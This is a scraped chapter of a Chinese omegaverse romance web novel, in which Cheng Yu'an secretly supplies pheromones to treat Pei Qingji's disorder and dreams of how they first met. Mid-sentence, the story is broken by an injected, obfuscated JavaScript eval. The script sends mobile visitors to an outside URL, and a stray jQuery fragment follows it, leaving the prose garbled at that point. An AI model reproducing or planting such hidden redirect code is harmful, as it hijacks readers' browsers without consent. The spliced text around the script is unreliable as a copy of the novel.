默认冷灰
24号文字
方正启体

6. 治疗

作者:塔塔灯本书字数:K更新时间:
    裴家坐落在西岛半山腰,庄重威严的庄园门口,安保人员正逐一排查进出车辆。


    裴轻寂患有信息素紊乱症这件事绝不能让外界知道。


    他现在是当红顶流,如果这件事被曝光,粉丝流失,代言解约是小。


    如果被其他家族抓住把柄,趁机动摇他在裴家的位置,情况可就不妙。


    程郁安跟在司机身后,被领到主厅。


    一个衣着华丽,满身贵气的金发女人站在落地窗前打着电话。


    那就是裴夫人,她淡淡瞥了一眼程郁安,眼神示意佣人带他过去。


    程郁安自从听到程郁安犯病的消息心一直悬着,他顾不上头疼,忍不住问道。


    “请问他现在怎么样了?”


    佣人欲言又止,看到他眼里泛着的泪花,向后瞥了一眼,才叹了口气。


    “少爷的情况有点不太好。”


    程郁安还想再问,佣人不肯再说,只是急匆匆把他带到一间房间面前,丢下一句离开。


    “您进去看看就知道了。”


    他推开门,目光看向躺在床上的裴轻寂,抿了抿唇。


    应该是打了镇定剂,睡了过去,平常桀骜不驯的脸上一片苍白,没有半丝血色。


    床边站着几个医生,为首带眼镜的医生摘下口罩,跟裴父在说着什么。


    裴父听见动静,目光扫了一眼进来的程郁安,微微皱眉,正准备收回视线,余光微微一怔。


    他赶忙上前搀扶,语气恭敬道。


    “爸,你怎么来了?”


    裴老爷子拄着乌木拐棍,一把挥开他的手,语气里带着怒意。


    “你们把轻寂弄成这样,还想瞒着我这个老头子?真当我不在国内就管不了事了!!”


    裴父焦头烂额,慌忙解释道:“爸,不是这样的。”


    “当时就应该让小裴跟我在国外生活。”裴老爷子没搭他的话,冷哼一声。


    他视线落在程郁安的身上,眉头轻皱,沉声道:“这就是那个孩子?”


    这几年一直在国外养病,听说自家孙子结了婚,一直都没找到合适的时间回来看看。


    这个孩子应该就是他的孙媳妇。


    程郁安头还是很疼,见所有人的视线都往这边看。


    他死死掐住掌心,不敢露出异样,乖巧说了一句爷爷好。


    裴老爷子眉头却皱得更紧。


    裴父目光紧张兮兮往这边瞥了一眼,见父亲没说什么,这才微微松了口气。


    那件事千万不能让老爷子知道。


    裴轻寂患有先天的信息素紊乱症,发病的时候,信息素会无意识释放,且无法控制。


    长期以往,会造成对腺体的不可逆的损害,以及丧失Alpha信息素的主导能力。


    只有找到匹配度高的Omega才能缓解。而他就是那个解药。


    就在这时,裴夫人挂掉电话走进来。


    她先是冲裴老爷子喊了声爸,然后看向戴着眼镜的医生:“怎么样?”


    温医生点了点头,他看向程郁安,犹豫了一下才开口道:“只不过,可能还需要点程先生的信息素。”


    程先生和裴轻寂的匹配度很高,但裴家自然不可能把整个家族的希望都寄托在这么一个人的身上。


    什么东西还要信息素?


    裴老爷子眉头狠狠一皱,想到什么,沉声道:“你给我滚过来。”


    裴父知道还是没办法瞒过,只能硬着头皮跟上去。


    温医生带程郁安来到另外一间房。


    他看着恹恹的程郁安,迟疑了下,疑惑问道:“你……你是不是不舒服?”


    程郁安坐在椅子上,乖乖伸出手,表情茫然,脸已经通红一片,不理解什么意思。


    温医生叹了口气,柔声道:“你确定要抽吗?”


    程郁安微微一怔,他摇了摇头,声音有点哑:“我没事的,温医生,像往常那样就可以的。”


    一般的抑制剂对裴轻寂已经失去作用,所以他每隔一段时间都要抽取信息素。


    裴轻寂现在用的抑制剂都是混合他的信息素,重新研究出来的镇定剂。


    程郁安其实很怕疼,但在针戳进去的那一刻,他又很快忍住,只是闭着眼死死咬着唇。


    温医生镜片下的眼神很复杂,深深叹了口气。


    抽得时候头晕得更厉害,程郁安起来的时候甚至踉跄了一下,又被温医生扶了一下。


    他也顾不上难受,赶紧跑去裴轻寂的房间。


    自己在他身边,他会好受些。


    _


    裴轻寂缓缓睁开眼,视线还有些模糊,只能隐隐约约看见面前似乎有个人影,嘴唇一张一合在说着什么。


    那股淡淡的水蜜桃味又出现了,他下意识感到浑身躁动的信息素都放松了许多。


    见床上的人有醒来的迹象,程郁安顾不上头疼,赶紧凑过去,语气急切道:“你怎么样?好点了吗?”


    裴轻寂缓了一会儿,等看清眼前的人是程郁安,他眉头紧皱,神色警惕道:“你怎么在这?”


    程郁安脸色一白,紧抿着唇,往后推了一步,慌忙道:“我,我听裴阿姨说你病了,想来看看你。”


    裴轻寂特别反感别人提他的病,所以他并不知道自己知道他患有信息素紊乱症的事。


    也不知道自己的信息素能治疗他的病。


    他按了按眉心,眉眼带着几分烦躁,本想冷着脸斥责。


    裴轻寂视线往上移,落在程郁安苍白的脸色,神色突然怔住,语气顿了顿:“用不着你的假好心。”


    程郁安本来就难受,闻言眼眶里顿时溢出泪花,看起来非常委屈。


    他觉得有点难堪,攥紧衣角,语气哽咽:“对不起,我……马上离开。”


    裴轻寂闻言眉眼染上浓烈的烦躁,他不明白为什么自己一说他就要哭,自己难道说的不是事实吗?


    他冷着脸,看程郁安快要走出门外,这才咬着后槽牙出声道。


    “程郁安,你长本身了?谁让你走的?”


    程郁安的脚步只是顿了一下,他死死咬着唇,攥紧指尖,还是走了。


    好,有本事你就走。


    裴轻寂被气得要死,他捂住胸口,胸膛剧烈起伏。


    走了就别回来。没想到他根本就没回头。


    他突然反应过来,脸色变得很难看。


    自己为什么要管他走不走。


    就在这时,佣人小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274164|198161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心翼翼捧着药走过来,语气颤巍巍道:“少爷,该吃药了。”


    “不吃。”他冷冷一眼扫过去,语气晦涩不明。“滚。”


    _


    折腾到晚上九点,现在这个点坐公车回去也要两个多小时,到家已经都要十二点。


    程郁安正准备回去,却被突然佣人叫下,说是天色太晚,让他在客房睡下。


    他本来还有点疑惑,后来想想觉得应该是怕想裴轻寂又出什么事,他在身边能及时赶到。


    程郁安的头还是有点疼,身体太过疲惫,刚躺在床上,就很快睡过去。


    意识昏沉间,自己似乎做了个很长很长的梦。


    那时候他才上初中,他们家住在巷子最深处,肮脏又狭小的出租屋里,仅仅不到十几平。


    父亲成天赌钱,还借了高利贷,平常三天两头不回家,只有在没钱的时候,才会跑回来。


    如果没钱,就会对妈妈拳打脚踢,顺带连他一起打,骂他是赔钱货。


    家里的生计都是勉强靠着妈妈的小摊糊口才能撑下去,更别说哪里来的那么多钱。


    直到某一天,几个拎着铁棍的混混堵住他的去路,说让他还他爸欠下的高利贷。


    他说,他没钱,混混们不相信,说自己在骗他,一把上前揪住他的衣领。


    程郁安唇角还带着伤,他害怕地闭着眼,紧紧抱着书包,正准备硬生生接着这一拳。


    突然,一道清亮又带着点痞气的声音在耳边响起。


    “一群大男人,欺负个半大的小孩,丢不丢人?”


    他心头猛地一跳,下意识回头看去,混混们也下意识松开手,偏过头看去。


    一个个子很高的男生从巷子里走进来,蓝白校服松松垮垮搭在肩上,领口半敞着。


    少年眉眼桀骜,浑身散发着Alpha压迫性的气场,他看向程郁去年,扬声道:“小孩,躲好。”


    程郁安猛地回过神来,抱着书包就往巷子里跑,他突然停下来,回头看去。


    少年三两下就撂倒混混,然后走到自己面前,冲他扬起笑容。


    阳光透过树叶的缝隙落在发梢,一切都那么不真实,让人感觉像在做梦。


    “在发什么呆呢?”只见少年轻轻弹了下自己的脑门,随后又从兜里递给自己一张创口贴,贴在自己的脸上,指了指:“下次小心点。”


    程郁安呆愣在原地,看着他的背影,用手摸了一下嘴角。


    那是昨天父亲打他留下的痕迹。


    少年穿的是他们学校高中部的校服,自从那天起,他开始有意无意地往那边跑,只是为了偷偷看少年一眼。


    但少年的周围总是围着各种各样的人,他根本没机会接触,又过了几个月,少年就转走了,从此再也没了联系。


    直到裴夫人找到他,要和他做一笔交易。


    而那个少年就是十八岁的裴轻寂。


    程郁安似乎听到房门被轻轻推开,那人的身上有股淡淡的雪松味,让他忍不住想靠得更近,忍住不喊道。


    “裴……裴轻寂。”


    一道高大的人影站在他床边,裴轻寂死死盯着程郁安的脸,脸色看起来很吓人,沉重声道。


    “你在喊谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)